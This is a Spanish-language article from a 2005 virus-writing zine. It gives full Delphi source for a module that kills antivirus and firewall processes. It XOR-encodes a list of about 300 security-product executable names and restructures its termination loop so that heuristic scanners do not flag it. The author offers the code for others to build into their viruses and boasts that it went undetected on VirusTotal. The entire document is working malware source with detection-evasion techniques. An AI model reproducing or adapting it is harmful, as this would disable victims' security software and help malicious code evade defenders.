Escrito para Mitosis 3 por Pana_Infierno
Hace algun tiempo he sacado de mis virus el modulo donde destruyo los
procesos
en memoria de un listado de antivirus y firewals porque al menos un
antivirus
(Bit Defender 7.2) me detectaba este modulo inhabilitando mi
virus.
Despues de experimentar y modificar el algoritmo muchas veces sin
resultados
positivos al fin desarrolle un simple algoritmo que hace el mismo
trabajo que
el antiguo pero de otra forma, por el cual el modulo heuristico
no lo detecta
como "BehavesLike:Win32.Av-Killer", el antivirus en cuestion es
el
Bit Defender 7.2,el codigo terminado ha sido testeado y probado con
este
antivirus sacandolo de memoria, tambien ha sacando de memoria el
firewall de
norton 2003, y a sido esacaneado en virus total sin ninguna
deteccion.
Este no es un virus en si solo, quiero mostrar el codigo para que sea
implementado.
Tratare de explicar algunas partes de este codigo aunque no es
necesario.
Un saludo a Kurgan por las ideas prestadas.
//------------------------------Copiar dede
aca-------------------------------------
program HideKillAv;
uses
SysUtils,
Windows,
TLHelp32;
//Lista de antivirus no encriptados
//const AVS: array[0..301] of String =
//('avp32.exe', 'avpmon.exe',
'zonealarm.exe', 'vshwin32.exe', 'vet95.exe', 'tbscan.exe', 'serv95.exe',
'Nspclean.exe', 'clrav.com','scan32.exe', 'rav7.exe', 'navw.exe', 'outpost.exe',
'nmain.exe', 'navnt.exe', 'mpftray.exe','lockdown2000.exe', 'icssuppnt.exe',
'icload95.exe', 'iamapp.exe', 'findviru.exe', 'f-agnt95.exe',
'dv95.exe','dv95_o.exe', 'claw95ct.exe', 'cfiaudit.exe', 'avwupd32.exe',
'avptc32.exe', '_avp32.exe', 'avgctrl.exe','apvxdwin.exe', '_avpcc.exe',
'avpcc.exe', 'wfindv32.exe', 'vsecomr.exe', 'tds2-nt.exe', 'sweep95.exe',
'EFINET32.EXE','scrscan.exe', 'safeweb.exe', 'persfw.exe', 'navsched.exe',
'nvc95.exe', 'nisum.exe', 'navlu32.exe', 'ALOGSERV', 'AMON9X', 'AVGSERV9',
'AVGW', 'avkpop', 'avkservice', 'AvkServ', 'avkwctl9', 'AVXMONITOR9X',
'AVXMONITORNT', 'AVXQUAR','moolive.exe', 'jed.exe', 'icsupp95.exe',
'ibmavsp.exe', 'frw.exe', 'f-stopw.exe', 'espwatch.exe', 'procexp',
'filemon.exe', 'regmon.exe','dvp95.exe', 'cfiadmin.exe', 'avwin95.exe',
'avpm.exe', 'avp.exe',
//'ave32.exe','anti-trojan.exe', 'webscan.exe',
'webscanx.exe', 'vsscan40.exe', 'tds2-98.exe', 'SymProxySvc', 'SYMTRAY',
'TAUMON', 'TCM', 'TDS-3', 'TFAK', 'vbcmserv', 'VbCons', 'VIR-HELP', 'VPC32',
'VPTRAY', 'VSMAIN', 'vsmon', 'WIMMUN32', 'WGFE95', 'WEBTRAP', 'WATCHDOG',
'WrAdmin','sphinx.exe', 'scanpm.exe','rescue.exe', 'pcfwallicon.exe',
'pavcl.exe', 'nupgrade.exe', 'navwnt.exe', 'navapw32.exe',
'luall.exe','iomon98.exe', 'icmoon.exe', 'fprot.exe', 'f-prot95.exe',
'esafe.exe', 'cleaner3.exe', 'IBMASN.EXE', 'AVXW', 'cfgWiz', 'CMGRDIAN',
'CONNECTIONMONITOR', 'CPDClnt', 'DEFWATCH', 'CTRL', 'defalert', 'defscangui',
'DOORS', 'EFPEADM', 'ETRUSTCIPE', 'EVPN', 'EXPERT', 'fameh32', 'fch32',
'fih32',
//'blackice.exe', 'avsched32.exe', 'avpdos32.exe', 'avpnt.exe',
'avconsol.exe', 'ackwin32.exe', 'NWTOOL16', 'pccwin97', 'PROGRAMAUDITOR',
'POP3TRAP', 'PROCESSMONITOR', 'PORTMONITOR', 'POPROXY', 'pcscan', 'pcntmon',
'pavproxy', 'PADMIN', 'pview95', 'rapapp.exe', 'REALMON',
'RTVSCN95','vsstat.exe', 'vettray.exe', 'tca.exe', 'smc.exe', 'scan95.exe',
'rav7win.exe', 'pccwin98.exe', 'KPFW32.EXE', 'ADVXDWIN','padmin.exe',
'normist.exe', 'navw32.exe', 'n32scan.exe', 'lookout.exe', 'iface.exe',
'icloadnt.exe', 'SPYXX', 'SS3EDIT', 'SweepNet','iamserv.exe', 'fp-win.exe',
'f-prot.exe', 'ecengine.exe', 'cleaner.exe', 'cfind.exe', 'blackd.exe',
'RULAUNCH', 'sbserv', 'SWNETSUP', 'WrCtrl','avpupd.exe', 'avkserv.exe',
'autodown.exe', '_avpm.exe', 'avpm.exe', 'regedit.exe', 'msconfig.exe',
'FPROT95.EXE', 'IBMASN.EXE','sfc.exe', 'regedt32.exe', 'offguard.exe',
'pav.exe', 'pavmail.exe', 'per.exe', 'perd.exe','pertsk.exe',
//'perupd.exe',
'pervac.exe', 'pervacd.exe', 'th.exe', 'th32.exe', 'th32upd.exe','thav.exe',
'thd.exe', 'thd32.exe', 'thmail.exe', 'alertsvc.exe', 'amon.exe',
'kpf.exe','antivir', 'avsynmgr.exe', 'cfinet.exe', 'cfinet32.exe', 'icmon.exe',
'lockdownadvanced.exe','lucomserver.exe', 'mcafee', 'navapsvc.exe',
'navrunr.exe', 'nisserv.exe','nsched32.exe', 'pcciomon.exe', 'pccmain.exe',
'pview95.exe', 'Avnt.exe', 'Claw95cf.exe', 'Dvp95_0.exe', 'Vscan40.exe',
'Icsuppnt.exe', 'Jedi.exe', 'N32scanw.exe', 'Pavsched.exe', 'Pavw.exe',
'Avrep32.exe', 'Monitor.exe','fsgk32', 'fsm32', 'fsma32', 'fsmb32', 'gbmenu',
'GBPOLL', 'GENERICS', 'GUARD', 'IAMSTATS', 'ISRV95', 'LDPROMENU', 'LDSCAN',
'LUSPT', 'MCMNHDLR', 'MCTOOL', 'MCUPDATE', 'MCVSRTE', 'MGHTML', 'MINILOG',
'MCVSSHLD', 'MCAGENT', 'MPFSERVICE', 'MWATCH', 'NeoWatchLog',
//'NVSVC32',
'NWService', 'NTXconfig', 'NTVDM', 'ntrtscan', 'npssvc', 'npscheck', 'netutils',
'ndd32', 'NAVENGNAVEX15','notstart.exe', 'zapro.exe', 'pqremove.com',
'BullGuard', 'CCAPP.EXE', 'vet98.exe', 'VET32.EXE', 'VCONTROL.EXE',
'claw95.exe', 'ANTS', 'ATCON', 'ATUPDATER', 'ATWATCH', 'AutoTrace', 'AVGCC32',
'AvgServ', 'AVWINNT', 'fnrb32', 'fsaa', 'fsav32', 'ZAP.EXE', 'ZAPD.EXE',
'ZAPPRG.EXE', 'ZAPS.EXE', 'ZCAP.EXE', 'pfwagent.exe',
'pfwcon.exe','bdmcon.exe','bdnagent.exe','bdswitch.exe','bdss.exe','bdswitch.exe','bdmcon.exe');
//Nosotros usaremos la lista encriptada porque algunos antivirus pueden
detectar una lista de nombres
//sin encpriptar como la de arriba con la lista
encriptada el antivirus no sabe que contendra
//el arreglo con los avs
CONST AVS1:array[0..301] of
string=
('fqw45)bb','fqwjhi)bb','}hibfkfuj)bb','qtopni45)bb','qbs>2)bb','setdfi)bb','tbuq>2)bb','Itwdkbfi)bb','dkufq)dhj','tdfi45)bb','ufq0)bb','ifqp)bb','hrswhts)bb','ijfni)bb','ifqis)bb','jwasuf~)bb','khdlchpi5777)bb','ndttrwwis)bb','ndkhfc>2)bb','nfjfww)bb','anicqnur)bb','a*f`is>2)bb','cq>2)bb','cq>2Xh)bb','dkfp>2ds)bb','danfrcns)bb','fqprwc45)bb','fqwsd45)bb','Xfqw45)bb','fq`dsuk)bb','fwqcpni)bb','Xfqwdd)bb','fqwdd)bb','panicq45)bb','qtbdhju)bb','sct5*is)bb','tpbbw>2)bb','BANIBS45)B_B','tdutdfi)bb','tfabpbe)bb','wbutap)bb','ifqtdobc)bb','iqd>2)bb','intrj)bb','ifqkr45)bb','FKH@TBUQ','FJHI>_','FQ@TBUQ>','FQ@P','fqlwhw','fqltbuqndb','FqlTbuq','fqlpdsk>','FQ_JHINSHU>_','FQ_JHINSHUIS','FQ_VRFU','jhhknqb)bb','mbc)bb','ndtrww>2)bb','nejfqtw)bb','aup)bb','a*tshwp)bb','btwpfsdo)bb','wuhdbw','ankbjhi)bb','ub`jhi)bb','cqw>2)bb','danfcjni)bb','fqpni>2)bb','fqwj)bb','fqw)bb','fqb45)bb','fisn*suhmfi)bb','pbetdfi)bb','pbetdfi)bb','qttdfi37)bb',
'sct5*>?)bb','T~jWuh~Tqd','T^JSUF^','SFRJHI','SDJ','SCT*4','SAFL','qedjtbuq','QeDhit','QN/U*OBKW','QWD45','QWSUF^','QTJFNI','qtjhi','PNJJRI45','P@AB>2','PBESUFW','PFSDOCH@','PuFcjni','twoni)bb','tdfiwj)bb','ubtdrb)bb','wdapfkkndhi)bb','wfqdk)bb','irw`ufcb)bb','ifqpis)bb','ifqfwp45)bb','krfkk)bb','nhjhi>?)bb','ndjhhi)bb','awuhs)bb','a*wuhs>2)bb','btfab)bb','dkbfibu4)bb','NEJFTI)B_B','FQ_P','da`Pn}','DJ@UCNFI','DHIIBDSNHIJHINSHU','DWCDkis','CBAPFSDO','DSUK','cbafkbus','cbatdfi`rn','CHHUT','BAWBFCJ','BSURTSDNWB','BQWI','B_WBUS','afjbo45','ado45','ano45','ekfdlndb)bb','fqtdobc45)bb','fqwcht45)bb','fqwis)bb','fqdhithk)bb','fdlpni45)bb','IPSHHK61','wddpni>0','WUH@UFJFRCNSHU','WHW4SUFW','WUHDBTTJHINSHU','WHUSJHINSHU','WHWUH_^','wdtdfi','wdisjhi','wfqwuh~','WFCJNI','wqnbp>2','ufwfww)bb','UBFKJHI','USQTDI>2','qttsfs)bb','qbssuf~)bb','sdf)bb','tjd)bb','tdfi>2)bb','ufq0pni)bb','wddpni>?)bb','LWAP45)B_B','FCQ_CPNI','wfcjni)bb','ihujnts)bb','ifqp45)bb','i45tdfi)bb',
'khhlhrs)bb','nafdb)bb','ndkhfcis)bb','TW^__','TT4BCNS','TpbbwIbs','nfjtbuq)bb','aw*pni)bb','a*wuhs)bb','bdbi`nib)bb','dkbfibu)bb','danic)bb','ekfdlc)bb','URKFRIDO','tetbuq','TPIBSTRW','PuDsuk','fqwrwc)bb','fqltbuq)bb','frshchpi)bb','Xfqwj)bb','fqwj)bb','ub`bcns)bb','jtdhian`)bb','AWUHS>2)B_B','NEJFTI)B_B','tad)bb','ub`bcs45)bb','haa`rfuc)bb','wfq)bb','wfqjfnk)bb','wbu)bb','wbuc)bb','wbustl)bb','wburwc)bb','wbuqfd)bb','wbuqfdc)bb','so)bb','so45)bb','so45rwc)bb','sofq)bb','soc)bb','soc45)bb','sojfnk)bb','fkbustqd)bb','fjhi)bb','lwa)bb','fisnqnu','fqt~ij`u)bb','danibs)bb','danibs45)bb','ndjhi)bb','khdlchpifcqfidbc)bb','krdhjtbuqbu)bb','jdfabb','ifqfwtqd)bb','ifquriu)bb','inttbuq)bb','itdobc45)bb','wddnhjhi)bb','wddjfni)bb','wqnbp>2)bb','Fqis)bb','Dkfp>2da)bb','Cqw>2X7)bb','Qtdfi37)bb','Ndtrwwis)bb','Mbcn)bb','I45tdfip)bb','Wfqtdobc)bb','Wfqp)bb','Fqubw45)bb','Jhinshu)bb','at`l45','atj45','atjf45','atje45','`ejbir','@EWHKK','@BIBUNDT',
'@RFUC','NFJTSFST','NTUQ>2','KCWUHJBIR','KCTDFI','KRTWS','JDJIOCKU','JDSHHK','JDRWCFSB','JDQTUSB','J@OSJK','JNINKH@','JDQTTOKC','JDF@BIS','JWATBUQNDB','JPFSDO','IbhPfsdoKh`','IQTQD45','IPTbuqndb','IS_dhian`','ISQCJ','isustdfi','iwttqd','iwtdobdl','ibsrsnkt','icc45','IFQBI@IFQB_62','ihstsfus)bb','}fwuh)bb','wvubjhqb)dhj','Erkk@rfuc','DDFWW)B_B','qbs>?)bb','QBS45)B_B','QDHISUHK)B_B','dkfp>2)bb','FIST','FSDHI','FSRWCFSBU','FSPFSDO','FrshSufdb','FQ@DD45','Fq`Tbuq','FQPNIIS','aiue45','atff','atfq45',']FW)B_B',']FWC)B_B',']FWWU@)B_B',']FWT)B_B',']DFW)B_B','wapf`bis)bb','wapdhi)bb','ecjdhi)bb','ecif`bis)bb','ectpnsdo)bb','ectt)bb','ectpnsdo)bb','ecjdhi)bb');
var
i:integer;
//Esta rutina desencripta una cadena con xor
Function
E(Texto:string;Clave:integer):string;
var
Nuevo:string;
Largo,I:Integer;
begin
Largo
:= strLen(PChar(Texto));
For i := 1 to Largo do
begin
Nuevo := Nuevo +
chr(ord(Texto[i]) xor Clave);
end;
E := Nuevo;
end;
//Funcion para cortar procesos de memoria conociendo el nombre del
ejecutable
//extraida de otro virus no recuerdo el nombre, pero implementada
inicialmente
//en truco mania
FUNCTION Asesinar(archivo: string):
integer;
CONST
Terminar_proceso=$0001;
VAR
CLP: BOOL;
Lahandle:
THandle;
Procesos32: TProcessEntry32;
Begin
Result := 0;
Lahandle :=
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Procesos32.dwSize :=
Sizeof(Procesos32);
CLP := Process32First(lahandle,Procesos32);
while
integer(CLP) <> 0 DO Begin
IF
((UpperCase(ExtractFileName(Procesos32.szExeFile)) = UpperCase(archivo))
Or
(UpperCase(Procesos32.szExeFile) = UpperCase(archivo))) then
Result :=
Integer(TerminateProcess(OpenProcess(Terminar_proceso,BOOL(0),Procesos32.th32ProcessID),
0));
CLP :=
Process32Next(lahandle,Procesos32);
End;
CloseHandle(lahandle);
END;
//Aca esta el simple cambio a la rutina que la hace diferente frenta a la
heuristica.
Procedure matar(ii:integer);
begin
Asesinar(E(AVS1[ii],7));
//
Asesinar(AVS[ii]); //esta linea la usaremos en el caso de usar la lista
de
//antivirus sin encriptar
end;
begin
//--------------------------- Antiguo Metodo
----------------------------------------
//Este es el antiguo metodo que
usaba, he provado con muchas variaciones pero no
//lograba
resultados.
//Si usaramos este metodo la heuristica detectaria que queremos
cortar una lista
//de archivos porque detecta un ciclo repetitivo no importa
cual.
{For i:=0 to 301 do
begin
// Asesinar(AVS[i]); //para usar con lista
desencriptada
//
Asesinar(E(AVS1[i],7));
end;}
//------------------------------------------------------------------------------------
//Con este otro metodo y una modificacion a las funciones logramos que los
antivirus
//no detecten cuando queremos matar varios exes dentro de un ciclo
llamando varias
//veces a la funcion que mata los procesos y pasandole el
puntero del arreglo
For i:=0 to 301 do
begin
matar(i);
end;
end.
//----------------------------- Hasta Aca
-----------------------------------------------
Facil y eficiente codigo escrito en Chile para Mitosis 3
by
Pana_Infierno/GEDZAC - 2005
Pana_Infierno@hotmail.com